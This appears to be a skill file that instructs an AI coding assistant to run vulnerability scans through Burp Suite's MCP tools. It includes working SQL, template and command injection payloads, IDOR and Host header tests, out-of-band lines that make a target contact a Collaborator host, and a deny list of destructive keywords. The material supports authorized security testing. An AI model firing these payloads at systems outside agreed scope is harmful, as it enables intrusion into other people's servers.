Burp Suite scanning via MCP tools — passive traffic analysis, active payload testing, OOB verification, and vulnerability reporting using Burp's proxy, HTTP sender, Collaborator, and scanner APIs. Use when the user has Burp Suite running with the AI Agent MCP server and wants to scan, test, or analyze web traffic through an AI coding assistant (Claude Code, Gemini CLI, Codex, etc.).
Burp Suite scanning via MCP tools — passive traffic analysis, active payload testing, OOB verification, and vulnerability reporting using Burp's proxy, HTTP sender, Collaborator, and scanner APIs. Use when the user has Burp Suite running with the AI Agent MCP server and wants to scan, test, or analyze web traffic through an AI coding assistant (Claude Code, Gemini CLI, Codex, etc.).
Burp Scan Skill
Tactical scanning engine for Burp Suite via MCP. Operates Burp's tools programmatically to discover, confirm, and report vulnerabilities.
Prerequisites: Burp Suite running with the AI Agent extension loaded and MCP server enabled.
1' AND '1'='1 (should return same as original)
1' AND '1'='2 (should return different/empty)
1 AND 1=1 (numeric context - same)
1 AND 1=2 (numeric context - different)
Protocol: Send BOTH true and false conditions. If true matches original and false differs -> confirmed.
Evidence: root:x:0:0:root:/root: (95%) or [fonts] header (90%)
SSTI (Server-Side Template Injection)
Unique math markers to avoid false positives:
{{1337*73}} -> look for 97601 in response
{{31337*3}} -> look for 94011 in response
{{7*'7'}} -> look for 7777777 (Jinja2 specific)
${1337*73} -> look for 97601 (Java EL, Spring)
<%= 1337*73 %> -> look for 97601 (ERB/Ruby)
#{1337*73} -> look for 97601 (Thymeleaf)
*{1337*73} -> look for 97601 (Thymeleaf)
{{config}} -> config dump (Jinja2)
{{request}} -> request object leak (Jinja2)
{{''.__class__}} -> Python class access [MODERATE]
Evidence: Math result 97601, 94011, or 7777777 in response (95% confidence).
Command Injection
; id -> look for uid=XXX(username) gid=XXX
| id -> same
|| id -> same
& id -> same
&& id -> same
`id` -> same (backticks)
$(id) -> same (command substitution)
| whoami -> look for username output
; sleep 5 -> 5s delay (blind)
| sleep 5 -> 5s delay (blind)
Evidence: uid=\d+\(\w+\) gid=\d+\(\w+\) in response (95% confidence).
No static payloads. Generate based on original value:
Numeric IDs: Test ID-1, ID+1, 1 (first/admin), 0 (edge case), -1 (negative)
UUIDs: Modify last character (0->1 or vice versa)
Protocol: Compare response for original ID vs manipulated ID. If you get valid data for a different user's ID -> IDOR confirmed.
Host Header Injection
Test marker: evil-burp-ai-test.com
Host: evil-burp-ai-test.com -> check if reflected in response body or Location header
Host: localhost -> check if reflected
Host: 127.0.0.1 -> check if reflected
Node.js + Express -> NoSQL injection with MongoDB operators
Java + Spring -> Spring EL injection (${...})
Safety rule: NEVER generate destructive payloads containing: DROP, DELETE, TRUNCATE, ALTER, GRANT, REVOKE, SHUTDOWN, rm -, FORMAT, DESTROY.
4. SCANNING WORKFLOW
Phase 1: Scope & Reconnaissance
1. scope_check on target URL
2. site_map to understand application structure
3. proxy_http_history to review captured traffic
4. Identify tech stack from response headers (Server, X-Powered-By)
5. Identify auth mechanism (cookies vs tokens vs API keys)
Phase 2: Passive Analysis
1. For each in-scope request/response:
a. Run local pattern checks (Section 2, Step 2)
b. Extract context (Section 2, Step 3)
c. Analyze against checklist (Section 2, Step 4)
d. Flag potential vulns with evidence
2. JS endpoint discovery:
a. Find JS files via proxy_http_history_regex with pattern "\.js$"
b. Extract API endpoints from JS content
c. Test discovered endpoints for auth issues
Phase 3: Active Confirmation
For each passive finding, confirm with active testing:
1. Select payloads from Section 3 based on vuln class
2. Send original request via http1_request (baseline)
3. Send modified request with payload via http1_request
4. Analyze response:
ERROR_BASED: Search for error pattern strings in response body
REFLECTION: Search for unique marker (XSS-BURP-AI-1337, etc.) in response
CONTENT_BASED: Search for expected file content (root:x:0:0, [fonts], 97601)
BLIND_BOOLEAN: Send true+false conditions, compare response body/length
BLIND_TIME: Measure response time, confirm >= 5000ms delay
OUT_OF_BAND: Use collaborator_generate, inject payload, then collaborator_poll
5. Confidence thresholds:
- >= 95%: CERTAIN (report immediately)
- >= 85%: FIRM (report with evidence)
- >= 70%: TENTATIVE (investigate further before reporting)
- < 70%: DO NOT REPORT
Phase 4: OOB Testing (for blind vulnerabilities)
1. collaborator_generate -> get unique subdomain (e.g., xyz.burpcollaborator.net)
2. Inject Collaborator payload in test:
- SSRF: http://xyz.burpcollaborator.net
- XXE: <!ENTITY xxe SYSTEM "http://xyz.burpcollaborator.net">
- CMDI: ; nslookup xyz.burpcollaborator.net
- SSTI: {{config.__class__.__init__.__globals__['os'].popen('nslookup xyz.burpcollaborator.net')}}
3. Wait 5-10 seconds
4. collaborator_poll -> check for DNS/HTTP interactions
5. If interactions found -> vulnerability confirmed
Phase 5: Knowledge Tracking
Track per-host information across the scan to improve payload selection:
Tech Stack: Server header, X-Powered-By, X-ASPNet-Version, X-Generator
Auth Info: Session cookies (session, auth, token, sid, jwt, remember)
Bearer tokens (Authorization header)
API keys (X-API-Key, X-Auth-Token)
Error Patterns: Database errors, stack traces, framework exceptions
Prior Findings: What vuln classes were already found on which endpoints
Use tech stack knowledge to prioritize:
Django detected -> test SSTI with {{...}}, SQLi with PostgreSQL syntax
PHP detected -> test LFI with php://filter, deserialize with O: prefix
Java detected -> test SSTI with ${...}, deserialize with rO0AB
.NET detected -> test path traversal with backslashes, VIEWSTATE tampering
5. ISSUE CREATION PROTOCOL
When a vulnerability is confirmed (confidence >= 85%), create a Burp audit issue:
